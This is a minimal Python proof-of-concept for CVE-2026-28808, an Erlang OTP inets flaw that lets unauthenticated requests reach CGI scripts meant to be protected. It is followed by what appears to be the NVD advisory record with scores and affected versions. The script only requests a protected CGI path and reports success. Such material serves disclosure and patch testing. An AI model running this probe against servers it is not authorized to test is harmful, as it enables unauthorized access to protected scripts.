CVE-2026-28808

#!/usr/bin/env python3 import requests def exploit_cve_2026_28808(target_url): """ PoC for CVE-2026-28808: Erlang OTP inets Authorization Bypass This script attempts to access a CGI script protected by directory rules via script_alias without authentication. """ headers = { "User-Agent": "CVE-2026-28808-Scanner" } try: print(f"[*] Attempting to access: {target_url}") response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully accessed the CGI script without authentication!") print("[+] Response content:") print(response.text[:200]) # Print first 200 chars else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Example target: http://vulnerable-server/cgi-bin/protected/admin.cgi target = "http://127.0.0.1/cgi-bin/protected/script.cgi" exploit_cve_2026_28808(target)

{"cve": {"id": "CVE-2026-28808", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-04-07T13:16:46.320", "lastModified": "2026-04-23T17:39:58.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Authorization vulnerability in Erlang OTP (inets modules) allows unauthenticated access to CGI scripts protected by directory rules when served via script_alias.\n\nWhen script_alias maps a URL prefix to a directory outside DocumentRoot, mod_auth evaluates directory-based access controls against the DocumentRoot-relative path while mod_cgi executes the script at the ScriptAlias-resolved path. This path mismatch allows unauthenticated access to CGI scripts that directory rules were meant to protect.\n\nThis vulnerability is associated with program files lib/inets/src/http_server/mod_alias.erl, lib/inets/src/http_server/mod_auth.erl, and lib/inets/src/http_server/mod_cgi.erl.\n\nThis issue affects OTP from OTP 17.0 until OTP 28.4.2, 27.3.4.10 and 26.2.5.19 corresponding to inets from 5.10 until 9.6.2, 9.3.2.4 and 9.1.0.6."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/inets:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10", "versionEndExcluding": "9.1.0.6", "matchCriteriaId": "9A8568B7-8E4D-46D4-BC89-E90031B0E3A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/inets:*:*:*:*:*:*:*:*", "versionStartExcluding": "9.2", "versionEndExcluding": "9.3.2.4", "matchCriteriaId": "ACE12B86-B0FA-4238-850C-60FD497A5DEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/inets:*:*:*:*:*:*:*:*", "versionStartExcluding": "9.4", "versionEndExcluding": "9.6.2", "matchCriteriaId": "6826C53A-1EB6-4465-93EA-AC464AB322EE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.0", "versionEndExcluding": "26.2.5.19", "matchCriteriaId": "5E9FD459-CC4D-4592-ADB7-95ADFD4EE25B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "27.0", "versionEndExcluding": "27.3.4.10", "matchCriteriaId": "2771D519-4124-4D3F-A8E0-3E4704973B3E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "28.0", "versionEndExcluding": "28.4.2", "matchCriteriaId": "D2E111DA-579A-438F-A2FF-5799B01AF401"}]}]}], "references": [{"url": "https://cna.erlef.org/cves/CVE-2026-28808.html", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/erlang/otp/commit/8fc71ac6af4fbcc54103bec2983ef22e82942688", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Patch"]}, {"url": "https://github.com/er ... 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